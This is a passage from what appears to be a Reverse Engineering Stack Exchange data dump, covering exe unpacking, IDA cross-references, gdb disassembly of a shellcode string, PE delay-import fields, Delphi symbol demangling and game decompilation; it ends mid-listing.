00000000 Bound Import Directory&#xA;Entry c 0044e000 0000005c Import Address Table Directory&#xA;Entry d 0022c5f8 00000060 Delay Import Directory&#xA;Entry e 00000000 00000000 CLR Runtime Header&#xA;Entry f 00000000 00000000 Reserved&#xA;&#xA;There is an import table in 6 at 0x84eb2c&#xA;&#xA;The Import Tables (interpreted 6 section contents)&#xA; vma:            Hint    Time      Forward  DLL       First&#xA;                 Table   Stamp     Chain    Name      Thunk&#xA; 0044eb2c   0044eb68 00000000 00000000 0044ecb8 0044e000&#xA;&#xA;    DLL Name: KERNEL32.dll&#xA;    vma:  Hint/Ord Member-Name Bound-To&#xA;    44ebc4    537  InitializeCriticalSection&#xA;    44ebe0    408  GetProcAddress&#xA;    44ebf2    594  LocalFree&#xA;    44ebfe    667  RaiseException&#xA;    44ec10    590  LocalAlloc&#xA;    44ec1e    375  GetModuleHandleA&#xA;    44ec32    583  LeaveCriticalSection&#xA;    44ec4a    143  EnterCriticalSection&#xA;    44ec62    429  GetShortPathNameA&#xA;    44ec76    709  ResumeThread&#xA;    44ec86    925  WriteProcessMemory&#xA;    44ec9c    400  GetPrivateProfileSectionA&#xA;    44ed52    434  GetStringTypeA&#xA;    44ed42    571  LCMapStringW&#xA;    44ed32    570  LCMapStringA&#xA;    44ecfa    714  RtlUnwind&#xA;    44ed06    903  WideCharToMultiByte&#xA;    44ed1c    619  MultiByteToWideChar&#xA;    44ed64    437  GetStringTypeW&#xA;&#xA; 0044eb40   0044ebb8 00000000 00000000 0044ecee 0044e050&#xA;&#xA;    DLL Name: USER32.dll&#xA;    vma:  Hint/Ord Member-Name Bound-To&#xA;    44ecc6    142  DefWindowProcA&#xA;    44ecd8      2  AdjustWindowRectEx&#xA;&#xA; 0044eb54   00000000 00000000 00000000 00000000 00000000&#xA;&#xA;Sections:&#xA;Idx Name          Size      VMA       LMA       File off  Algn&#xA;  0 0             000b7000  00401000  00401000  00001000  2**2&#xA;                  CONTENTS, ALLOC, LOAD, CODE, DATA&#xA;  1 1             00029000  005b2000  005b2000  000b8000  2**2&#xA;                  CONTENTS, ALLOC, LOAD, CODE, DATA&#xA;  2 2             00001000  0062f000  0062f000  000e1000  2**2&#xA;                  CONTENTS, ALLOC, LOAD, CODE, DATA&#xA;  3 3             0005e81a  007dc000  007dc000  000e2000  2**2&#xA;                  CONTENTS, ALLOC, LOAD, CODE, DATA&#xA;  4 4             00001000  0083b000  0083b000  00141000  2**2&#xA;                  CONTENTS, ALLOC, LOAD, CODE, DATA&#xA;  5 5             0000c000  0083c000  0083c000  00142000  2**2&#xA;                  CONTENTS, ALLOC, LOAD, CODE, DATA&#xA;  6 6             00000d76  0084e000  0084e000  0014e000  2**2&#xA;                  CONTENTS, ALLOC, LOAD, CODE, DATA&#xA;  7 7             00002000  0084f000  0084f000  0014f000  2**2&#xA;                  CONTENTS, ALLOC, LOAD, CODE, DATA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result I'm hoping for is extracted files that have been packed into the executable.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I've used &lt;code&gt;FastScanner 3.0&lt;/code&gt; against the application and I've found out that it was packed just as the previous one, using MoleBox Pro. Here's all the FastScanner gueses (same as in previous app).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/x6CJB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/x6CJB.png&quot; alt=&quot;FastScanner results&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So everything seems to be just like it was, but the binary file is different and I can't unpack it in any way, when back in previous application it wasn't a problem at all. Molebox is long dead so I doubt it was packed by newer version. &#xA;Also messing with ollydbg I've found out that the application have entry points on those two files that I've called before.&lt;/p&gt;&#xA;" OwnerUserId="21459" LastEditorUserId="21459" LastEditDate="2017-09-05T17:30:37.023" LastActivityDate="2017-09-06T17:29:55.350" Title="Unpack files from executable" Tags="|unpacking|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16257" PostTypeId="2" ParentId="16251" CreationDate="2017-09-03T17:42:11.597" Score="2" Body="&lt;p&gt;In assembly there is &lt;em&gt;only one&lt;/em&gt; explicit reference to the target function, and that's where its address is moved to the variable at point 1 (you can see that the reference is marked &lt;strong&gt;'o'&lt;/strong&gt; (offset) and not &lt;strong&gt;'p'&lt;/strong&gt; ([procedure] call)). While IDA could in theory track stack var assignments and add xrefs also at the points the variable is used for an indirect call (2 and 3), this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;would increase analysis time for negligible benefit (an experienced user can easily see that &lt;code&gt;var_4&lt;/code&gt; is called twice)&lt;/li&gt;&#xA;&lt;li&gt;is prone to false positives (e.g. if there's a function call before initialization and use of the variable, you can't be sure that it's not overwritten by the side-effects of the function)&lt;/li&gt;&#xA;&lt;li&gt;is easily defeatable (e.g. do some simple math on the pointer and IDA will be fooled).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So it's better to add only explicit cross-references and let the human decide if extra ones need to be added manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, IDA does some limited amount of register tracking to handle the most common situations, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     esi, ds:__imp__sprintf&#xA;push    edi&#xA;lea     edx, [esp+0BCh+szOffset]&#xA;push    offset Format   ; &quot;%08X&quot;&#xA;push    edx             ; Dest&#xA;call    esi ; __imp__sprintf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that it added a comment at the &lt;code&gt;call esi&lt;/code&gt; instruction with the actual destination loaded earlier into &lt;code&gt;esi&lt;/code&gt;. (it also adds a call xref in such case).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-09-03T17:42:11.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16258" PostTypeId="2" ParentId="16245" CreationDate="2017-09-04T09:06:37.763" Score="1" Body="&lt;p&gt;It seems there is some bug in gdb causing it to crash when reading symbols from your file. You can try to debug the crash(e.g. &lt;code&gt;gdb --args gdb-multiarch ./mipsel-test&lt;/code&gt;), but this is more of a programming issue than RE, so I suggest you to use GDB support channels for this or at least ask on SO instead of here.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-09-04T09:06:37.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16259" PostTypeId="2" ParentId="16250" CreationDate="2017-09-04T09:13:57.337" Score="3" Body="&lt;p&gt;The original shellcode contains only eight instructions, but because you asked gdb to disassemble 14 instructions, it went ahead and did just what you asked. Since you asked to disassemble more than there actually are, it disassembled whatever bytes happened to be present after the variable (likely zero padding but maybe also other parts of the executable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no instructions were &quot;added&quot;, you're just disassembling some junk that happens to be in the memory after it.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-09-04T09:13:57.337" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16260" PostTypeId="2" ParentId="16250" CreationDate="2017-09-04T11:32:20.857" Score="1" Body="&lt;p&gt;Igor is right... The original shellcode does not include any &lt;code&gt;ret&lt;/code&gt; (&lt;code&gt;0xc3&lt;/code&gt;), so there are none in the decompiled asm. The thing is that when you ask &lt;code&gt;gdb&lt;/code&gt; to disassemble 14 instructions, it disassembles 14 instructions interpreting the content of the memory as if it was instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a proof of what I say, here is a disassembly of the instruction &lt;code&gt;add %al,(%ecx)&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ rasm2 -a x86 -C 'add %al,(%ecx)'&#xA;&quot;\xc0\x00&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is, in fact, &lt;code&gt;&quot;\x00\xc0&quot;&lt;/code&gt; (because of the endianness) and where the first &lt;code&gt;&quot;\x00&quot;&lt;/code&gt; is, in fact, the final character of the shellcode string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following characters are very likely the code of the &lt;code&gt;main&lt;/code&gt; function or whatever is in the memory at this place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, reread more carefully the answer of Igor (he's right!).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2017-09-04T17:43:59.687" LastActivityDate="2017-09-04T17:43:59.687" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16261" PostTypeId="1" AcceptedAnswerId="16266" CreationDate="2017-09-04T21:34:40.840" Score="1" ViewCount="1101" Body="&lt;p&gt;The &lt;a href=&quot;http://github.com/uxmal/reko&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reko decompiler&lt;/a&gt; crashes while trying to load the PE delay import directory of a particular binary I'm looking at. For 32-bit executables, the PE spec states that the directory consists of a sequence of records where offset 4 contains:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[the] RVA of the name of the DLL to be loaded. The name resides in the read-only data section of the image (&lt;code&gt;szName&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I use dumpbin to look at the image, I see that the PE header &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      185000 [     2C6] RVA [size] of Delay Import &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the &lt;code&gt;.didata&lt;/code&gt; section's raw data is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00585000: 00 00 00 00 90 51 58 00 00 00 00 00 A0 50 58 00  .....QX......PX.&#xA;00585010: B4 50 58 00 C8 50 58 00 DC 50 58 00 00 00 00 00  �PX.�PX.�PX..... &#xA;(etc)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that at 00585004, the &lt;code&gt;szName&lt;/code&gt; field has what looks to me a virtual address (00585190) and &lt;em&gt;not&lt;/em&gt; a RVA (which would have been 00185190). Still, dumpbin manages to interpret this as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;USER32.DLL&#xA;          00000000 Characteristics&#xA;          00000000 Address of HMODULE&#xA;          005850A0 Import Address Table&#xA;          005850B4 Import Name Table&#xA;          005850C8 Bound Import Name Table&#xA;          005850DC Unload Import Name Table&#xA;                 0 time date stamp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where it follows the 00585190 to find the string &lt;code&gt;USER32.DLL&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how should the entries in the Delay Import Directory be interpreted? Should a PE loader first attempt to read the &lt;code&gt;szName&lt;/code&gt; field as an RVA, and only when it discovers that it isn't a valid RVA, attempt to read it as VA?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that for small EXE files, which get loaded at address 0x0040000, the range of valid RVA's will be &lt;code&gt;[0x00000000..MAX_RVA)&lt;/code&gt; while the range of valid virtual addresses will be &lt;code&gt;[0x00400000..MAX_RVA + 0x00400000]&lt;/code&gt;, so RVA's and VA's could theoretically be distinguished by looking at their numerical values. But once the binary size exceeds 0x00400000 bytes (4194304 bytes) these ranges overlap and you can't tell the difference anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;Interestingly, many PE viewers and editors crash or go off the rails on this binary. Dumpbin, IDA, and -- most significantly -- the Windows loader don't crash. Wonder what algorithm they are using to avoid dying on this binary?&lt;/p&gt;&#xA;" OwnerUserId="12260" LastEditorUserId="12260" LastEditDate="2017-09-04T22:47:00.493" LastActivityDate="2020-01-24T17:03:53.973" Title="Should the Delay Import Directory contain virtual addresses?" Tags="|pe32|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16263" PostTypeId="1" AcceptedAnswerId="16265" CreationDate="2017-09-05T07:25:59.963" Score="0" ViewCount="509" Body="&lt;p&gt;I'm looking at a PE binary which, given the names of some of the imported symbols, looks like it was built using the Delphi programming language. I'm basing this assumption on the symbols the binary is exporting, e.g. &lt;code&gt;@@Calculator@Initialize&lt;/code&gt; and &lt;code&gt;@@Calculator@Finalize&lt;/code&gt;. The &lt;code&gt;Initialize&lt;/code&gt; and &lt;code&gt;Finalize&lt;/code&gt; are reminiscent of the &lt;code&gt;initialization&lt;/code&gt; and &lt;code&gt;finalization&lt;/code&gt; keywords of the Delphi &lt;code&gt;unit&lt;/code&gt; construct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an excerpt of the output of dumpbin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     45    0 001335BC @@Aaft@Finalize&#xA;     44    1 001335AC @@Aaft@Initialize&#xA;     13    2 000E78C8 @@Advreg@Finalize&#xA;     12    3 000E78B8 @@Advreg@Initialize&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only references to Borland's/Embarcadero's mangling scheme I have are these (one in English, one in German) which both describe the mangling scheme in C++:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/mildred/Lysaac/blob/master/doc/boa.utf8.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mildred/Lysaac/blob/master/doc/boa.utf8.txt&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://edn.embarcadero.com/article/27758&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://edn.embarcadero.com/article/27758&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;None of the patterns in those references seem to apply to the &lt;code&gt;@@&lt;/code&gt; prefix of this symbol. One hypothetical interpretation of &lt;code&gt;@@Foo@Initialize&lt;/code&gt; is &quot;this symbol is for a special function &lt;code&gt;Initialize&lt;/code&gt;&quot;, where the &lt;code&gt;@@&lt;/code&gt; prefix is used to avoid conflicts with a &quot;regular&quot; method &lt;code&gt;Initialize&lt;/code&gt; in a class &lt;code&gt;Foo&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I don't have access to TDUMP.exe so I can't demangle this myself in order to confirm my hypothesis. So how should I be interpreting these symbols matching the pattern &lt;code&gt;@@&amp;lt;name&amp;gt;@Initialize&lt;/code&gt;and &lt;code&gt;@@&amp;lt;name&amp;gt;@Finalize&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="12260" LastEditorUserId="12260" LastEditDate="2017-09-05T08:19:59.740" LastActivityDate="2017-09-05T09:09:30.843" Title="How to demangle symbols with starting with &quot;@@&quot;?" Tags="|symbols|delphi|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16264" PostTypeId="2" ParentId="16254" CreationDate="2017-09-05T07:53:44.053" Score="3" Body="&lt;p&gt;Seems like the feature is not implemented yet. As you can see in &lt;a href=&quot;https://github.com/radare/radare2/blob/master/libr/core/canal.c#L2331&quot; rel=&quot;nofollow noreferrer&quot;&gt;this function&lt;/a&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;if (root &amp;amp;&amp;amp; dest) {&#xA;    if (dest == root) {&#xA;        eprintf (&quot;Source and destination are the same\n&quot;);&#xA;        return NULL;&#xA;    }&#xA;    eprintf (&quot;ROOT BB 0x%08&quot;PFMT64x&quot;\n&quot;, root-&amp;gt;addr);&#xA;    eprintf (&quot;DEST BB 0x%08&quot;PFMT64x&quot;\n&quot;, dest-&amp;gt;addr);&#xA;    list = r_list_new ();&#xA;    printf (&quot;=&amp;gt;  0x%08&quot;PFMT64x&quot;\n&quot;, root-&amp;gt;jump);&#xA;} else {&#xA;    eprintf (&quot;Unable to find source or destination basic block\n&quot;);&#xA;}&#xA;return list;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Feel free to &lt;a href=&quot;https://github.com/radare/radare2/issues&quot; rel=&quot;nofollow noreferrer&quot;&gt;open an issue&lt;/a&gt; in the official repository, or better -- to try implementing it by yourself for the good of all of us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last thing, don't use &lt;code&gt;aaaaa&lt;/code&gt;, it doesn't even exists and any analysis command after &lt;code&gt;aaa&lt;/code&gt; is experimental and can cause you with bugs. You don't have to analyze so deeply anyway.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information about analysis in radare2 please see &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/16115/18698&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-09-05T07:53:44.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16265" PostTypeId="2" ParentId="16263" CreationDate="2017-09-05T09:09:30.843" Score="1" Body="&lt;p&gt;IDA demangles &lt;code&gt;@@Unit1@Initialize&lt;/code&gt; as &lt;code&gt;__linkproc__ Unit1::Initialize&lt;/code&gt; and looking for &lt;code&gt;__linkproc__&lt;/code&gt; yields &lt;a href=&quot;http://webfiles.icebreak.org/webfiles/CBuilderCD/v4/Runimage/Cbuilder4/Source/RTL/SOURCE/MISC/UM.C&quot; rel=&quot;nofollow noreferrer&quot;&gt;some clues&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Modifiers (mutually exclusive)&lt;/p&gt;&#xA;&lt;p&gt;UM_LINKER_PROC   Special linker procedure (#pragma package)&lt;/p&gt;&#xA;&lt;p&gt;case QUALIFIER:      /* virdef flag or &lt;strong&gt;linker proc&lt;/strong&gt; */&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So looks like these functions are generated for the linker to ensure a specific initialization order. Apparently in C++ files this is achieved by using &lt;a href=&quot;http://docwiki.embarcadero.com/RADStudio/Berlin/en/Pragma_package&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;#pragma package&lt;/code&gt;&lt;/a&gt;, and I guess for Pascal units it happens automatically. (C++ Builder can use C++ and Pascal code in a single project; in fact most of VCL is implemented in Object Pascal and C++ Builder includes a Delphi compiler).&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-09-05T09:09:30.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16266" PostTypeId="2" ParentId="16261" CreationDate="2017-09-05T09:52:36.473" Score="4" Body="&lt;p&gt;Delayed imports are not processed by the system loader, so the programmer can put into it any kind of data, as long as they're prepared to handle it. By convention (mostly because Visual C++ did it), delayed imports are expected to use the same format as &quot;normal&quot; imports, but since this is not enforced by the OS it's not a requirement, and a specific program can use its own format or put any garbage into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IIRC the issue with szName comes from the first implementation of the delayed imports (VC 6.0) which by mistake used full addresses instead of RVAs. This can be seen in the source code of the delayed import helper shipped with Visual C++ (&lt;code&gt;delayhlp.cpp&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// For our own internal use, we convert to the old&#xA;// format for convenience.&#xA;//&#xA;struct InternalImgDelayDescr {&#xA;    DWORD           grAttrs;        // attributes&#xA;    LPCSTR          szName;         // pointer to dll name&#xA;    HMODULE *       phmod;          // address of module handle&#xA;    PImgThunkData   pIAT;           // address of the IAT&#xA;    PCImgThunkData  pINT;           // address of the INT&#xA;    PCImgThunkData  pBoundIAT;      // address of the optional bound IAT&#xA;    PCImgThunkData  pUnloadIAT;     // address of optional copy of original IAT&#xA;    DWORD           dwTimeStamp;    // 0 if not bound,&#xA;                                    // O.W. date/time stamp of DLL bound to (Old BIND)&#xA;    };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(note how it says &quot;old format&quot; and most field, including &lt;code&gt;szName&lt;/code&gt;, are full pointers and not RVAs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is also mentioned in the MSDN article &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/2b054ds4.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Changes in the DLL Delayed Loading Helper Function Since Visual C++ 6.0&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Since the pointers in the delay descriptor (ImgDelayDescr in&#xA;  delayimp.h) have been changed from absolute addresses (VAs) to&#xA;  relative addresses (RVAs) to work as expected in both 32- and 64-bit&#xA;  programs, you need to convert these back to pointers. A new function&#xA;  has been introduced: PFromRva, found in delayhlp.cpp. You can use this&#xA;  function on each of the fields in the descriptor to convert them back&#xA;  to either 32- or 64-bit pointers. The default delay load helper&#xA;  function continues to be a good template to use as an example.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you open the above-mentioned header, you can see this definition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;enum DLAttr {                   // Delay Load Attributes&#xA;    dlattrRva = 0x1,                // RVAs are used instead of pointers&#xA;                                    // Having this set indicates a VC7.0&#xA;                                    // and above delay load descriptor.&#xA;    };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is how IDA detects the correct format of delayed imports (absolute addresses in your case) and can handle them without crashing.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2020-01-24T17:03:53.973" LastActivityDate="2020-01-24T17:03:53.973" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="16267" PostTypeId="1" CreationDate="2017-09-05T12:13:21.973" Score="0" ViewCount="145" Body="&lt;p&gt;I was trying to uninstall a plugin but accidently ran the command &lt;code&gt;cordova platform remove ios&lt;/code&gt; and it removed the app code on my macbook. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see anything in trash as well. Is there any way to get the code back by reverse engineering on the ipa file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help.&lt;/p&gt;&#xA;" OwnerUserId="21484" LastEditorUserId="21484" LastEditDate="2017-09-05T12:17:37.143" LastActivityDate="2018-08-02T09:38:04.993" Title="Accidently removed cordova platform ios folder" Tags="|ios|" AnswerCount="1" CommentCount="4" ClosedDate="2018-08-01T21:34:52.360" ContentLicense="CC BY-SA 3.0" />
  <row Id="16269" PostTypeId="2" ParentId="16267" CreationDate="2017-09-05T12:55:43.817" Score="0" Body="&lt;p&gt;In general, it's not possible to recover 100% of source code from the binary but you may be able to get &lt;em&gt;some&lt;/em&gt; things from it. See e.g. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1594/possibilities-for-reverse-engineering-an-ipa-file-to-its-source?rq=1&quot;&gt;Possibilities for reverse engineering an ipa file to its source&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4096/decompiling-iphone-app?rq=1&quot;&gt;Decompiling iPhone App&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;and so on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2018-08-02T09:38:04.993" LastActivityDate="2018-08-02T09:38:04.993" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16271" PostTypeId="1" AcceptedAnswerId="16280" CreationDate="2017-09-05T14:20:16.137" Score="1" ViewCount="177" Body="&lt;p&gt;I'm trying to decompile some singleplayer code for a game (C++ on X86 architecture Linux). I do this with the help of some already available source code, a file (compiled on linux) with debug information and Ida Pro (Mainly only using pseudo-c code conversion). So far everything has been going good up until now. There is a comparison going on which I can't make any sense of. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a part of the function that is the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (v28)&#xA;{&#xA;    health_1 = Commands-&amp;gt;Get_Health(obj);&#xA;    this-&amp;gt;field_1C = health_1;&#xA;    v14 = health_1 &amp;lt; 0.0;&#xA;    v15 = 0;&#xA;    v16 = health_1 == 0.0;&#xA;    if ((HIBYTE(v13) &amp;amp; 0x45) == 64)&#xA;        v17 = this-&amp;gt;field_20 - this-&amp;gt;field_1C + this-&amp;gt;field_24;&#xA;    else&#xA;        v17 = this-&amp;gt;field_20 - this-&amp;gt;field_1C;&#xA;    v18 = v17;&#xA;    v19 = ScriptImpClass::Get_Float_Parameter(&amp;amp;this-&amp;gt;base, &quot;Damage_multiplier&quot;) * v18;&#xA;    this-&amp;gt;field_24 = v19 + this-&amp;gt;field_24;&#xA;    v20 = this-&amp;gt;field_20 - v19;&#xA;    Commands-&amp;gt;Set_Health(obj, v20);&#xA;    this-&amp;gt;field_20 = Commands-&amp;gt;Get_Health(obj);&#xA;    this-&amp;gt;field_1C = Commands-&amp;gt;Get_Health(obj);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is the following comparison:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ((HIBYTE(v13) &amp;amp; 0x45) == 64)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just cannot figure out what is being checked here. I believe that the if (v28) statement starts at address .text:084D16BF. Below is the complete bytecode of the function and the structure layout of M00_Damage_Modifier_DME &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000 GameObjObserverClass struc; (sizeof = 0x8, mappedto_2746); XREF: ScriptClass / r&#xA;00000000 vPtr            dd ? ; offset&#xA;00000004 ID              dd ?&#xA;00000008 GameObjObserverClass ends&#xA;&#xA;00000000 ScriptClass     struc; (sizeof = 0x8, mappedto_2767); XREF: ScriptImpClass / r&#xA;00000000 base            GameObjObserverClass ?&#xA;00000008 ScriptClass     ends&#xA;&#xA;00000000 ScriptImpClass  struc; (sizeof = 0x1C, mappedto_2754)&#xA;00000000; XREF: _ZN17M08_Prison_Patrol7CreatedEP17ScriptableGameObj / r&#xA;00000000; _ZN10M08_Sniper7CreatedEP17ScriptableGameObj / r ...&#xA;00000000 base            ScriptClass ?&#xA;00000008 mOwner          dd ? ; offset&#xA;0000000C mArgC           dd ?&#xA;00000010 mArgV           dd ? ; offset&#xA;00000014 mFactory        dd ? ; offset&#xA;00000018 AutoVariableList dd ? ; offset&#xA;0000001C ScriptImpClass  ends&#xA;&#xA;00000000 M00_Damage_Modifier_DME struc; (sizeof = 0x3C, mappedto_2798)&#xA;00000000 base            ScriptImpClass ?&#xA;0000001C field_1C        dd ?&#xA;00000020 field_20        dd ?&#xA;00000024 field_24        dd ?&#xA;00000028 killableByStar  dd ?&#xA;0000002C killableByNotStar dd ?&#xA;00000030 starModifier    dd ?&#xA;00000034 notStarModifier dd ?&#xA;00000038 enabled         db ?&#xA;00000039 pad_01          db ?&#xA;0000003A pad_02          db ?&#xA;0000003B pad_03          db ?&#xA;0000003C M00_Damage_Modifier_DME ends&#xA;&#xA;.text:084D1582; void __cdecl M00_Damage_Modifier_DME::Damaged(M00_Damage_Modifier_DME *this, ScriptableGameObj *obj, ScriptableGameObj *damager, float amount)&#xA;.text:084D1582                 public _ZN23M00_Damage_Modifier_DME7DamagedEP17ScriptableGameObjS1_f; weak&#xA;.text:084D1582 _ZN23M00_Damage_Modifier_DME7DamagedEP17ScriptableGameObjS1_f proc near&#xA;.text:084D1582; DATA XREF : .data : 08659468o&#xA;.text:084D1582&#xA;.text:084D1582 var_5C = dword ptr - 5Ch&#xA;.text:084D1582 var_58 = dword ptr - 58h&#xA;.text:084D1582 var_43 = byte ptr - 43h&#xA;.text:084D1582 var_42 = byte ptr - 42h&#xA;.text:084D1582 var_41 = byte ptr - 41h&#xA;.text:084D1582 var_40 = dword ptr - 40h&#xA;.text:084D1582 pos_1 = Vector3 ptr - 3Ch&#xA;.text:084D1582 pos = Vector3 ptr - 2Ch&#xA;.text:084D1582 this = dword ptr  4&#xA;.text:084D1582 obj = dword ptr  8&#xA;.text:084D1582 damager = dword ptr  0Ch&#xA;.text:084D1582 amount = dword ptr  10h&#xA;.text:084D1582&#xA;.text:084D1582                 push    ebp&#xA;.text:084D1583                 push    edi&#xA;.text:084D1584                 push    esi&#xA;.text:084D1585                 push    ebx&#xA;.text:084D1586                 sub     esp, 3Ch&#xA;.text:084D1589                 mov     edi, [esp + 4Ch + this]&#xA;.text:084D158D                 mov     ebp, [esp + 4Ch + obj]&#xA;.text:084D1591                 cmp     byte ptr[edi + 38h], 0&#xA;.text:084D1595                 jz      loc_84D184B&#xA;.text:084D159B                 mov[esp + 4Ch + var_41], 0&#xA;.text:084D15A0                 cmp     dword ptr[edi + 30h], 0&#xA;.text:084D15A4                 jnz     short loc_84D15DD&#xA;.text:084D15A6                 sub     esp, 0Ch&#xA;.text:084D15A9                 mov     esi, Commands&#xA;.text:084D15AF                 lea     ebx, [esp + 58h + pos]&#xA;.text:084D15B3                 sub     esp, 10h&#xA;.text:084D15B6                 mov     eax, [edi]&#xA;.text:084D15B8                 push    edi&#xA;.text:084D15B9                 call    dword ptr[eax + 48h]&#xA;.text:084D15BC                 add     esp, 8&#xA;.text:084D15BF                 push    